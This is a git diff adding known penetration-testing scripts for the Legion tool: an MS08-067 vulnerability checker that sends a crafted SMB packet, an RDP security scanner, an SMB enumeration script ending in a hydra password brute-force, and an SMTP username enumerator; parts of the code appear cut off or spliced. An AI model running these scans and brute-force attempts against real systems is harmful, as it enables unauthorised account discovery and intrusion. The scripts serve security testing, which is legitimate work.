diff --git a/README.md b/README.md new file mode 100644 index 0000000..e77ac9c --- /dev/null +++ b/README.md @@ -0,0 +1,2 @@ +These scripts come from the Sparta project, for optional use with our main fork, Legion: +https://github.com/GoVanguard/legion diff --git a/installDeps.sh b/installDeps.sh new file mode 100644 index 0000000..812ebab --- /dev/null +++ b/installDeps.sh @@ -0,0 +1,3 @@ +#!/bin/bash +pip install scapy +gem install snmp diff --git a/ms08-067_check.py b/ms08-067_check.py new file mode 100644 index 0000000..f2b0281 --- /dev/null +++ b/ms08-067_check.py @@ -0,0 +1,281 @@ +#!/usr/bin/env python + +''' +Name: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability + +Description: +Anonymously check if a target machine is affected by MS08-067 (Vulnerability in Server Service Could Allow Remote Code Execution) + +Author: Bernardo Damele A. G. + +License: Modified Apache 1.1 + +Version: 0.6 + +References: +* BID: 31874 +* CVE: 2008-4250 +* MSB: MS08-067 +* VENDOR: http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx +* VENDOR: http://www.microsoft.com/technet/security/advisory/958963.mspx +* MISC: http://www.phreedom.org/blog/2008/decompiling-ms08-067/ +* MISC: http://metasploit.com/dev/trac/browser/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb +* MISC: http://blog.threatexpert.com/2008/10/gimmiva-exploits-zero-day-vulnerability.html +* MISC: http://blogs.securiteam.com/index.php/archives/1150 + +Tested: +* Windows 2000 Server Service Pack 0 +* Windows 2000 Server Service Pack 4 with Update Rollup 1 +* Microsoft 2003 Standard Service Pack 1 +* Microsoft 2003 Standard Service Pack 2 Full Patched at 22nd of October 2008, before MS08-067 patch was released + +Notes: +* On Windows XP SP2 and SP3 this check might lead to a race condition and + heap corruption in the svchost.exe process, but it may not crash the + service immediately: it can trigger later on inside any of the shared + services in the process. +''' + + +import socket +import sys + +from optparse import OptionError +from optparse import OptionParser +from random import choice +from string import letters +from struct import pack +from threading import Thread +from traceback import format_exc + +try: + from impacket import smb + from impacket import uuid + from impacket.dcerpc.v5 import dcerpc + from impacket.dcerpc.v5 import transport +except ImportError, _: + print 'ERROR: this tool requires python-impacket library to be installed, get it ' + print 'from http://oss.coresecurity.com/projects/impacket.html or apt-get install python-impacket' + sys.exit(1) + +try: + from ndr import * +except ImportError, _: + print 'ERROR: this tool requires python-pymsrpc library to be installed, get it ' + print 'from http://code.google.com/p/pymsrpc/' + sys.exit(1) + + +CMDLINE = False +SILENT = False + + +class connectionException(Exception): + pass + + +class MS08_067(Thread): + def __init__(self, target, port=445): + super(MS08_067, self).__init__() + + self.__port = port + self.target = target + self.status = 'unknown' + + + def __checkPort(self): + ''' + Open connection to TCP port to check if it is open + ''' + + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(1) + s.connect((self.target, self.__port)) + s.close() + + except socket.timeout, _: + raise connectionException, 'connection timeout' + + except socket.error, _: + raise connectionException, 'connection refused' + + + def __connect(self): + ''' + SMB connect to the Computer Browser service named pipe + Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html + ''' + + try: + self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target) + self.__trans.connect() + + except smb.SessionError, _: + raise connectionException, 'access denied (RestrictAnonymous is probably set to 2)' + + except: + #raise Exception, 'unhandled exception (%s)' % format_exc() + raise connectionException, 'unexpected exception' + + + def __bind(self): + ''' + DCERPC bind to SRVSVC (Server Service) endpoint + Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html + ''' + + try: + self.__dce = self.__trans.DCERPC_class(self.__trans) + + self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0'))) + + except socket.error, _: + raise connectionException, 'unable to bind to SRVSVC endpoint' + + except: + #raise Exception, 'unhandled exception (%s)' % format_exc() + raise connectionException, 'unexpected exception' + + + def __forgePacket(self): + ''' + Forge the malicious NetprPathCompare packet + + Reference: http://msdn.microsoft.com/en-us/library/cc247259.aspx + + long NetprPathCompare( + [in, string, unique] SRVSVC_HANDLE ServerName, + [in, string] WCHAR* PathName1, + [in, string] WCHAR* PathName2, + [in] DWORD PathType, + [in] DWORD Flags + ); + ''' + + self.__path = ''.join([choice(letters) for _ in xrange(0, 3)]) + + self.__request = ndr_unique(pointer_value=0x00020000, data=ndr_wstring(data='')).serialize() + self.__request += ndr_wstring(data='\\%s\\..\\%s' % ('A'*5, self.__path)).serialize() + self.__request += ndr_wstring(data='\\%s' % self.__path).serialize() + self.__request += ndr_long(data=1).serialize() + self.__request += ndr_long(data=0).serialize() + + + def __compare(self): + ''' + Compare NetprPathCompare response field 'Windows Error' with the + expected value (WERR_OK) to confirm the target is vulnerable + ''' + + self.__vulnerable = pack(' self.high: + self.data.data = self.high + elif self.data.get_data() < self.low: + self.data.data = self.low + + return self.data.serialize() + +class ndr_enum16(ndr_primitive): + ''' + encode: /* enum16 */ short element_1; + ''' + def __init__(self, **kwargs): + self.data = kwargs.get('data', 0x0004) + self.signed = kwargs.get('signed', True) + self.name = kwargs.get('name', "") + self.size = 2 + + def get_data(self): + return self.data + + def set_data(self, new_data): + self.data = new_data + + def get_name(self): + return self.name + + def get_size(self): + return self.size + + def serialize(self): + if self.signed: + return struct.pack(" install Encoding::BER +# +# References: +# +# [MS-RDPBCGR]: Remote Desktop Protocol: Basic Connectivity and Graphics Remoting Specification +# http://msdn.microsoft.com/en-us/library/cc240445(v=prot.10).aspx +# +use strict; +use warnings; +use IO::Socket::INET; +use Getopt::Long; +use Encoding::BER; + +my %rdp_neg_type; +$rdp_neg_type{"01"} = "TYPE_RDP_NEG_REQ"; +$rdp_neg_type{"02"} = "TYPE_RDP_NEG_RSP"; +$rdp_neg_type{"03"} = "TYPE_RDP_NEG_FAILURE"; + +my %rdp_neg_rsp_flags; +$rdp_neg_rsp_flags{"00"} = "NO_FLAGS_SET"; +$rdp_neg_rsp_flags{"01"} = "EXTENDED_CLIENT_DATA_SUPPORTED"; +$rdp_neg_rsp_flags{"02"} = "DYNVC_GFX_PROTOCOL_SUPPORTED"; + +my %rdp_neg_protocol; +$rdp_neg_protocol{"00"} = "PROTOCOL_RDP"; +$rdp_neg_protocol{"01"} = "PROTOCOL_SSL"; +$rdp_neg_protocol{"02"} = "PROTOCOL_HYBRID"; + +my %rdp_neg_failure_code; +$rdp_neg_failure_code{"01"} = "SSL_REQUIRED_BY_SERVER"; +$rdp_neg_failure_code{"02"} = "SSL_NOT_ALLOWED_BY_SERVER"; +$rdp_neg_failure_code{"03"} = "SSL_CERT_NOT_ON_SERVER"; +$rdp_neg_failure_code{"04"} = "INCONSISTENT_FLAGS"; +$rdp_neg_failure_code{"05"} = "HYBRID_REQUIRED_BY_SERVER"; +$rdp_neg_failure_code{"06"} = "SSL_WITH_USER_AUTH_REQUIRED_BY_SERVER"; + +my %encryption_level; +$encryption_level{"00000000"} = "ENCRYPTION_LEVEL_NONE"; +$encryption_level{"00000001"} = "ENCRYPTION_LEVEL_LOW"; +$encryption_level{"00000002"} = "ENCRYPTION_LEVEL_CLIENT_COMPATIBLE"; +$encryption_level{"00000003"} = "ENCRYPTION_LEVEL_HIGH"; +$encryption_level{"00000004"} = "ENCRYPTION_LEVEL_FIPS"; + +my %encryption_method; +$encryption_method{"00000000"} = "ENCRYPTION_METHOD_NONE"; +$encryption_method{"00000001"} = "ENCRYPTION_METHOD_40BIT"; +$encryption_method{"00000002"} = "ENCRYPTION_METHOD_128BIT"; +$encryption_method{"00000008"} = "ENCRYPTION_METHOD_56BIT"; +$encryption_method{"00000010"} = "ENCRYPTION_METHOD_FIPS"; + +my %version_meaning; +$version_meaning{"00080001"} = "RDP 4.0 servers"; +$version_meaning{"00080004"} = "RDP 5.0, 5.1, 5.2, 6.0, 6.1, 7.0, 7.1, and 8.0 servers"; + +my $enc = Encoding::BER->new(warn => sub{}); +my %config; + +my $VERSION = "0.9-beta"; +my $usage = "Starting rdp-sec-check v$VERSION ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) +Copyright (C) 2014 Mark Lowe (mrl\@portcullis-security.com) + +$0 [ options ] ( --file hosts.txt | host | host:port ) + +options are: + + --file hosts.txt targets, one ip:port per line + --outfile out.log output logfile + --timeout sec receive timeout (default 10s) + --retries times number of retries after timeout + --verbose + --debug + --help + +Example: + $0 192.168.1.1 + $0 --file hosts.txt --timeout 15 --retries 3 + $0 --outfile rdp.log 192.168.69.69:3389 + $0 --file hosts.txt --outfile rdp.log --verbose + +"; + +my $debug = 0; +my $verbose = 0; +my $help = 0; +my $hostfile = undef; +my $outfile = undef; +my @targets = (); + +my $global_recv_timeout = 10; +my $global_connect_fail_count = 5; +my $global_connection_count = 0; + +my $result = GetOptions ( + "verbose" => \$verbose, + "debug" => \$debug, + "help" => \$help, + "file=s" => \$hostfile, + "outfile=s" => \$outfile, + "timeout=i" => \$global_recv_timeout, + "retries=i" => \$global_connection_count, +); + +if ($help) { + print $usage; + exit 0; +} + +if ($debug) { + use Data::Dumper; + use warnings FATAL => 'all'; + use Carp qw(confess); + $SIG{ __DIE__ } = sub { confess( @_ ) }; +} + +if (defined($outfile)){ + # http://stackoverflow.com/questions/1631873/copy-all-output-of-a-perl-script-into-a-file + use Symbol; + my @handles = (*STDOUT); + my $handle = gensym( ); + push(@handles, $handle); + open $handle, ">$outfile" or die "[E] Can't write to $outfile: $!\n"; #open for write, overwrite; + tie *TEE, "Tie::Tee", @handles; + select(TEE); + *STDERR = *TEE; +} + +if (defined($hostfile)) { + open HOSTS, "<$hostfile" or die "[E] Can't open $hostfile: $!\n"; + while () { + chomp; chomp; + my $line = $_; + my $port = 3389; + my $host = $line; + if ($line =~ /\s*(\S+):(\d+)\s*/) { + $host = $1; + $port = $2; + } + my $ip = resolve($host); + if (defined($ip)) { + push @targets, { ip => $ip, hostname => $host, port => $port }; + } else { + print "[W] Unable to resolve host $host. Ignoring line: $line\n"; + } + } + close(HOSTS); + +} else { + my $host = shift or die $usage; + my $port = 3389; + if ($host =~ /\s*(\S+):(\d+)\s*/) { + $host = $1; + $port = $2; + } + my $ip = resolve($host); + unless (defined($ip)) { + die "[E] Can't resolve hostname $host\n"; + } + push @targets, { ip => $ip, hostname => $host, port => $port }; +} + +# flush after every write +$| = 1; + +my $global_starttime = time; +printf "Starting rdp-sec-check v%s ( http://labs.portcullis.co.uk/application/rdp-sec-check/ ) at %s\n", $VERSION, scalar(localtime); +printf "\n[+] Scanning %s hosts\n", scalar @targets; +print Dumper \@targets if $debug > 0; + +foreach my $target_addr (@targets) { + scan_host($target_addr->{hostname}, $target_addr->{ip}, $target_addr->{port}); +} + +print "\n"; +printf "rdp-sec-check v%s completed at %s\n", $VERSION, scalar(localtime); +print "\n"; + +sub scan_host { + my ($host, $ip, $port) = @_; + print "\n"; + print "Target: $host\n"; + print "IP: $ip\n"; + print "Port: $port\n"; + print "\n"; + print "[+] Connecting to $ip:$port\n" if $debug > 1; + my $socket; + my @response; + + print "[+] Checking supported protocols\n\n"; + print "[-] Checking if RDP Security (PROTOCOL_RDP) is supported..."; + $socket = get_socket($ip, $port); + @response = test_std_rdp_security($socket); + if (scalar @response == 19) { + my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; + if ($type eq "TYPE_RDP_NEG_FAILURE") { + printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; + $config{"protocols"}{"PROTOCOL_RDP"} = 0; + } else { + if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_RDP") { + print "Supported\n"; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; + } else { + printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; + } + } + } elsif (scalar @response == 11) { + printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; + } else { + print "Not supported - unexpected response\n"; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; + } + + print "[-] Checking if TLS Security (PROTOCOL_SSL) is supported..."; + $socket = get_socket($ip, $port); + @response = test_tls_security($socket); + if (scalar @response == 19) { + my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; + if ($type eq "TYPE_RDP_NEG_FAILURE") { + printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; + $config{"protocols"}{"PROTOCOL_SSL"} = 0; + } else { + if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_SSL") { + print "Supported\n"; + $config{"protocols"}{"PROTOCOL_SSL"} = 1; + } else { + printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; + } + } + } elsif (scalar @response == 11) { + printf "Negotiation ignored - old Windows 2000/XP/2003 system?\n"; + $config{"protocols"}{"PROTOCOL_SSL"} = 0; + } else { + print "Not supported - unexpected response\n"; + $config{"protocols"}{"PROTOCOL_SSL"} = 0; + } + + print "[-] Checking if CredSSP Security (PROTOCOL_HYBRID) is supported [uses NLA]..."; + $socket = get_socket($ip, $port); + @response = test_credssp_security($socket); + if (scalar @response == 19) { + my $type = $rdp_neg_type{sprintf "%02x", ord($response[11])}; + if ($type eq "TYPE_RDP_NEG_FAILURE") { + printf "Not supported - %s\n", $rdp_neg_failure_code{sprintf("%02x", ord($response[15]))}; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; + } else { + if ($rdp_neg_protocol{sprintf("%02x", ord($response[15]))} eq "PROTOCOL_HYBRID") { + print "Supported\n"; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 1; + } else { + printf "Not supported. Negotiated %s\n", $rdp_neg_protocol{sprintf("%02x", ord($response[15]))}; + } + } + } elsif (scalar @response == 11) { + printf "Negotiation ignored - old Windows 2000/XP/2003 system??\n"; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; + } else { + print "Not supported - unexpected response\n"; + $config{"protocols"}{"PROTOCOL_HYBRID"} = 0; + } + print "\n"; + print "[+] Checking RDP Security Layer\n\n"; + foreach my $enc_hex (qw(00 01 02 08 10)) { + printf "[-] Checking RDP Security Layer with encryption %s...", $encryption_method{"000000" . $enc_hex}; + $socket = get_socket($ip, $port); + @response = test_classic_rdp_security($socket); + + if (scalar @response == 11) { + my @response_mcs = test_mcs_initial_connect($socket, $enc_hex); + unless (scalar(@response_mcs) > 8) { + print "Not supported\n"; + next; + } + my $length1 = ord($response_mcs[8]); + my $ber_encoded = join("", splice @response_mcs, 7); + my $ber = $enc->decode($ber_encoded); + my $user_data = $ber->{value}->[3]->{value}; + my ($sc_core, $sc_sec) = $user_data =~ /\x01\x0c..(.*)\x02\x0c..(.*)/s; + + my ($version, $client_requested_protocols, $early_capability_flags) = $sc_core =~ /(....)(....)?(....)?/; + my ($encryption_method, $encryption_level, $random_length, $server_cert_length) = $sc_sec =~ /(....)(....)(....)(....)/; + my $server_cert_length_i = unpack("V", $server_cert_length); + my $random_length_i = unpack("V", $random_length); + if ("000000" . $enc_hex eq sprintf "%08x", unpack("V", $encryption_method)) { + printf "Supported. Server encryption level: %s\n", $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; + $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 1; + $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 1; + $config{"protocols"}{"PROTOCOL_RDP"} = 1; # This is the only way the script detects RDP support on 2000/XP + } else { + printf "Not supported. Negotiated %s. Server encryption level: %s\n", $encryption_method{sprintf "%08x", unpack("V", $encryption_method)}, $encryption_level{sprintf "%08x", unpack("V", $encryption_level)}; + $config{"encryption_level"}{$encryption_level{sprintf "%08x", unpack("V", $encryption_level)}} = 0; + $config{"encryption_method"}{$encryption_method{sprintf "%08x", unpack("V", $encryption_method)}} = 0; + } + my $random = substr $sc_sec, 16, $random_length_i; + my $cert = substr $sc_sec, 16 + $random_length_i, $server_cert_length_i; + } else { + print "Not supported\n"; + } + } + + if ($config{"protocols"}{"PROTOCOL_HYBRID"}) { + if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_RDP"}) { + $config{"issues"}{"NLA_SUPPORTED_BUT_NOT_MANDATED_DOS"} = 1; + } + } else { + # is this really a problem? + $config{"issues"}{"NLA_NOT_SUPPORTED_DOS"} = 1; + } + + if ($config{"protocols"}{"PROTOCOL_RDP"}) { + if ($config{"protocols"}{"PROTOCOL_SSL"} or $config{"protocols"}{"PROTOCOL_HYBRID"}) { + $config{"issues"}{"SSL_SUPPORTED_BUT_NOT_MANDATED_MITM"} = 1; + } else { + $config{"issues"}{"ONLY_RDP_SUPPORTED_MITM"} = 1; + } + + if ($config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"}) { + $config{"issues"}{"WEAK_RDP_ENCRYPTION_SUPPORTED"} = 1; + } + + if ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"}) { + $config{"issues"}{"NULL_RDP_ENCRYPTION_SUPPORTED"} = 1; + } + + if ($config{"encryption_method"}{"ENCRYPTION_METHOD_FIPS"} and ($config{"encryption_method"}{"ENCRYPTION_METHOD_NONE"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_40BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_56BIT"} or $config{"encryption_method"}{"ENCRYPTION_METHOD_128BIT"})) { + $config{"issues"}{"FIPS_SUPPORTED_BUT_NOT_MANDATED"} = 1; + } + } + + print "\n"; + print "[+] Summary of protocol support\n\n"; + foreach my $protocol (keys(%{$config{"protocols"}})) { + printf "[-] $ip:$port supports %-15s: %s\n", $protocol, $config{"protocols"}{$protocol} ? "TRUE" : "FALSE"; + } + + print "\n"; + print "[+] Summary of RDP encryption support\n\n"; + foreach my $encryption_level (sort keys(%{$config{"encryption_level"}})) { + printf "[-] $ip:$port has encryption level: %s\n", $encryption_level; + } + foreach my $encryption_method (sort keys(%encryption_method)) { + printf "[-] $ip:$port supports %-25s: %s\n", $encryption_method{$encryption_method}, (defined($config{"encryption_method"}{$encryption_method{$encryption_method}}) and $config{"encryption_method"}{$encryption_method{$encryption_method}}) ? "TRUE" : "FALSE"; + } + + print "\n"; + print "[+] Summary of security issues\n\n"; + foreach my $issue (keys(%{$config{"issues"}})) { + print "[-] $ip:$port has issue $issue\n"; + } + + print Dumper \%config if $debug; +} + +sub test_std_rdp_security { + my ($socket) = @_; + my $string = get_x224_crq_std_rdp_security(); + return do_handshake($socket, $string); +} + +sub test_tls_security { + my ($socket) = @_; + my $string = get_x224_crq_tls_security(); + return do_handshake($socket, $string); +} + +sub test_credssp_security { + my ($socket) = @_; + my $string = get_x224_crq_credssp_security(); + return do_handshake($socket, $string); +} + +sub test_classic_rdp_security { + my ($socket) = @_; + my $string = get_x224_crq_classic(); + return do_handshake($socket, $string); +} + +sub test_mcs_initial_connect { + my ($socket, $enc_hex) = @_; + my $string = get_mcs_initial_connect($enc_hex); + return do_handshake($socket, $string); +} + +sub do_handshake { + my ($socket, $string) = @_; + print "[+] Sending:\n" if $debug > 1; + hdump($string) if $debug > 1; + + print $socket $string; + + my $data; + + local $SIG{ALRM} = sub { die "alarm\n" }; + eval { + alarm($global_recv_timeout); + $socket->recv($data,4); + alarm(0); + }; + if ($@) { + print "[W] Timeout on recv. Results may be unreliable.\n"; + } + + if (length($data) == 4) { + print "[+] Received from Server :\n" if $debug > 1; + hdump($data) if $debug > 1; + my @data = split("", $data); + my $length = (ord($data[2]) << 8) + ord($data[3]); + printf "[+] Initial length: %d\n", $length if $debug > 1; + my $data2 = ""; + while (length($data) < $length) { + local $SIG{ALRM} = sub { die "alarm\n" }; + eval { + alarm($global_recv_timeout); + $socket->recv($data2,$length - 4); + alarm(0); + }; + if ($@) { + print "[W] Timeout on recv. Results may be unreliable.\n"; + } + print "[+] Received " . length($data2) . " bytes from Server :\n" if $debug > 1; + hdump($data2) if $debug > 1; + $data .= $data2; + } + return split "", $data; + } else { + return undef; + } +} + +# http://www.perlmonks.org/?node_id=111481 +sub hdump { + my $offset = 0; + my(@array,$format); + foreach my $data (unpack("a16"x(length($_[0])/16)."a*",$_[0])) { + my($len)=length($data); + if ($len == 16) { + @array = unpack('N4', $data); + $format="0x%08x (%05d) %08x %08x %08x %08x %s\n"; + } else { + @array = unpack('C*', $data); + $_ = sprintf "%2.2x", $_ for @array; + push(@array, ' ') while $len++ < 16; + $format="0x%08x (%05d)" . + " %s%s%s%s %s%s%s%s %s%s%s%s %s%s%s%s %s\n"; + } + $data =~ tr/\0-\37\177-\377/./; + printf $format,$offset,$offset,@array,$data; + $offset += 16; + } +} + +sub get_x224_crq_std_rdp_security { + return get_x224_connection_request("00"); +} + +sub get_x224_crq_tls_security { + return get_x224_connection_request("01"); +} + +sub get_x224_crq_credssp_security { + return get_x224_connection_request("03"); +} + +sub get_x224_crq_classic { + return get_old_connection_request(); +} + +# enc_hex is bitmask of: +# 01 - 40 bit +# 02 - 128 bit +# 08 - 56 bit +# 10 - fips +# +# common value sniffed from wireshark: 03 +sub get_mcs_initial_connect { + my $enc_hex = shift; + my @packet_hex = qw( + 03 00 01 a2 02 f0 80 7f 65 82 + 01 96 04 01 01 04 01 01 01 01 ff 30 20 02 02 00 + 22 02 02 00 02 02 02 00 00 02 02 00 01 02 02 00 + 00 02 02 00 01 02 02 ff ff 02 02 00 02 30 20 02 + 02 00 01 02 02 00 01 02 02 00 01 02 02 00 01 02 + 02 00 00 02 02 00 01 02 02 04 20 02 02 00 02 30 + 20 02 02 ff ff 02 02 fc 17 02 02 ff ff 02 02 00 + 01 02 02 00 00 02 02 00 01 02 02 ff ff 02 02 00 + 02 04 82 01 23 00 05 00 14 7c 00 01 81 1a 00 08 + 00 10 00 01 c0 00 44 75 63 61 81 0c 01 c0 d4 00 + 04 00 08 00 20 03 58 02 01 ca 03 aa 09 04 00 00 + 28 0a 00 00 68 00 6f 00 73 00 74 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 04 00 00 00 00 00 00 00 0c 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 01 ca 01 00 00 00 00 00 18 00 07 00 01 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 + 04 c0 0c 00 09 00 00 00 00 00 00 00 02 c0 0c 00 + ); + push @packet_hex, $enc_hex; + push @packet_hex, qw(00 00 00 00 00 00 00 03 c0 20 00 02 00 00 00 + 63 6c 69 70 72 64 72 00 c0 a0 00 00 72 64 70 64 + 72 00 00 00 80 80 00 00 + ); + my $string = join("", @packet_hex); + $string =~ s/(..)/sprintf("%c", hex($1))/ge; + return $string; +} + +# MS-RDPBCGR +sub get_x224_connection_request { + my $sec = shift; + my @packet_hex; + push @packet_hex, qw(03); # tpktHeader - version + push @packet_hex, qw(00); # tpktHeader - reserved + push @packet_hex, qw(00 13); # tpktHeader - length + push @packet_hex, qw(0e); # x224Crq - length + push @packet_hex, qw(e0); # x224Crq - connection request + push @packet_hex, qw(00 00); # x224Crq - ?? + push @packet_hex, qw(00 00); # x224Crq - src-ref + push @packet_hex, qw(00); # x224Crq - class + push @packet_hex, qw(01); # rdpNegData - type + push @packet_hex, qw(00); # rdpNegData - flags + push @packet_hex, qw(08 00); # rdpNegData - length + push @packet_hex, ($sec, qw(00 00 00)); # rdpNegData - requestedProtocols. bitmask, little endian: 0=standard rdp security, 1=TLSv1, 2=Hybrid (CredSSP) + + my $string = join("", @packet_hex); + $string =~ s/(..)/sprintf("%c", hex($1))/ge; + return $string; +} + +sub get_old_connection_request { + my @packet_hex = qw( + 03 00 00 22 1d e0 00 00 00 00 + 00 43 6f 6f 6b 69 65 3a 20 6d 73 74 73 68 61 73 + 68 3d 72 6f 6f 74 0d 0a + ); + my $string = join("", @packet_hex); + $string =~ s/(..)/sprintf("%c", hex($1))/ge; + return $string; +} + +sub get_socket { + my ($ip, $port) = @_; + my $socket = undef; + my $failcount = 0; + while (!defined($socket)) { + $global_connection_count++; + eval { + local $SIG{ALRM} = sub { die "alarm\n" }; + alarm($global_recv_timeout); + $socket = new IO::Socket::INET ( + PeerHost => $ip, + PeerPort => $port, + Proto => 'tcp', + ) or print "WARNING in Socket Creation : $!\n"; + alarm(0); + }; + if ($@) { + print "[W] Timeout on connect. Retrying...\n"; + return undef; + } + unless (defined($socket)) { + $failcount++; + } + if ($failcount > $global_connect_fail_count) { + die "ERROR: failed to connect $global_connect_fail_count times\n"; + } + } + return $socket; +} + +sub print_section { + my ($string) = @_; + print "\n=== $string ===\n\n"; +} + +sub resolve { + my $hostname = shift; + print "[D] Resolving $hostname\n" if $debug > 0; + my $ip = gethostbyname($hostname); + if (defined($ip)) { + return inet_ntoa($ip); + } else { + return undef; + } +} + +# Perl Cookbook, Tie Example: Multiple Sink Filehandles +package Tie::Tee; + +sub TIEHANDLE { + my $class = shift; + my $handles = [@_]; + bless $handles, $class; + return $handles; +} + +sub PRINT { + my $href = shift; + my $handle; + my $success = 0; + foreach $handle (@$href) { + $success += print $handle @_; + } + return $success == @$href; +} + +sub PRINTF { + my $href = shift; + my $handle; + my $success = 0; + foreach $handle (@$href) { + $success += printf $handle @_; + } + return $success == @$href; +} + +1; + diff --git a/smbenum.sh b/smbenum.sh new file mode 100644 index 0000000..6074594 --- /dev/null +++ b/smbenum.sh @@ -0,0 +1,50 @@ +#!/bin/bash +# smbenum 0.2 - This script will enumerate SMB using every tool in the arsenal +# SECFORCE - Antonio Quina +# All credits to Bernardo Damele A. G. for the ms08-067_check.py script + +IFACE="eth0" + +if [ $# -eq 0 ] + then + echo "Usage: $0 " + echo "eg: $0 10.10.10.10" + exit + else + IP="$1" +fi + +echo -e "\n########## Getting Netbios name ##########" +nbtscan -v -h $IP + +echo -e "\n########## Checking for NULL sessions ##########" +output=`bash -c "echo 'srvinfo' | rpcclient $IP -U%"` +echo $output + +echo -e "\n########## Enumerating domains ##########" +bash -c "echo 'enumdomains' | rpcclient $IP -U%" + +echo -e "\n########## Enumerating password and lockout policies ##########" +polenum $IP + +echo -e "\n########## Enumerating users ##########" +nmap -Pn -T4 -sS -p139,445 --script=smb-enum-users $IP +bash -c "echo 'enumdomusers' | rpcclient $IP -U%" +bash -c "echo 'enumdomusers' | rpcclient $IP -U%" | cut -d[ -f2 | cut -d] -f1 > /tmp/$IP-users.txt + +echo -e "\n########## Enumerating Administrators ##########" +net rpc group members "Administrators" -I $IP -U% + +echo -e "\n########## Enumerating Domain Admins ##########" +net rpc group members "Domain Admins" -I $IP -U% + +echo -e "\n########## Enumerating groups ##########" +nmap -Pn -T4 -sS -p139,445 --script=smb-enum-groups $IP + +echo -e "\n########## Enumerating shares ##########" +nmap -Pn -T4 -sS -p139,445 --script=smb-enum-shares $IP + +echo -e "\n########## Bruteforcing all users with 'password', blank and username as password" +hydra -e ns -L /tmp/$IP-users.txt -p password $IP smb -t 1 +rm /tmp/$IP-users.txt + diff --git a/smtp-user-enum.pl b/smtp-user-enum.pl new file mode 100644 index 0000000..5613985 --- /dev/null +++ b/smtp-user-enum.pl @@ -0,0 +1,411 @@ +#!/usr/bin/perl -w +# smtp-user-enum - Brute Force Usernames via EXPN/VRFY/RCPT TO +# Copyright (C) 2008 pentestmonkey@pentestmonkey.net +# +# This program is free software; you can redistribute it and/or modify +# it under the terms of the GNU General Public License version 2 as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License along +# with this program; if not, write to the Free Software Foundation, Inc., +# 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. +# +# This tool may be used for legal purposes only. Users take full responsibility +# for any actions performed using this tool. If these terms are not acceptable to +# you, then do not use this tool. +# +# You are encouraged to send comments, improvements or suggestions to +# me at smtp-user-enum@pentestmonkey.net +# +# This program is derived from dns-grind v1.0 ( http://pentestmonkey.net/tools/dns-grind ) +# + +use strict; +use Socket; +use IO::Handle; +use IO::Select; +use IO::Socket::INET; +use Getopt::Std; +$| = 1; + +my $VERSION = "1.2"; +my $debug = 0; +my @child_handles = (); +my $verbose = 0; +my $max_procs = 5; +my $smtp_port = 25; +my @usernames = (); +my @hosts = (); +my $recursive_flag = 1; +my $query_timeout = 5; +my $mode = "VRFY"; +my $from_address = 'user@example.com'; +my $start_time = time(); +my $end_time; +my $kill_child_string = "\x00"; +$SIG{CHLD} = 'IGNORE'; # auto-reap +my %opts; +my $usage=<; +} + +if (defined($host_file)) { + open(FILE, "<$host_file") or die "ERROR: Can't open username file $host_file: $!\n"; + @hosts = map { chomp($_); $_ } ; +} + +if (defined($username)) { + push @usernames, $username; +} + +if (defined($host)) { + push @hosts, $host; +} + +if (defined($host_file) and not @hosts) { + print "ERROR: Targets file $host_file was empty\n"; + exit 1; +} + +if (defined($username_file) and not @usernames) { + print "ERROR: Username file $username_file was empty\n"; + exit 1; +} + +print "Starting smtp-user-enum v$VERSION ( http://pentestmonkey.net/tools/smtp-user-enum )\n"; +print 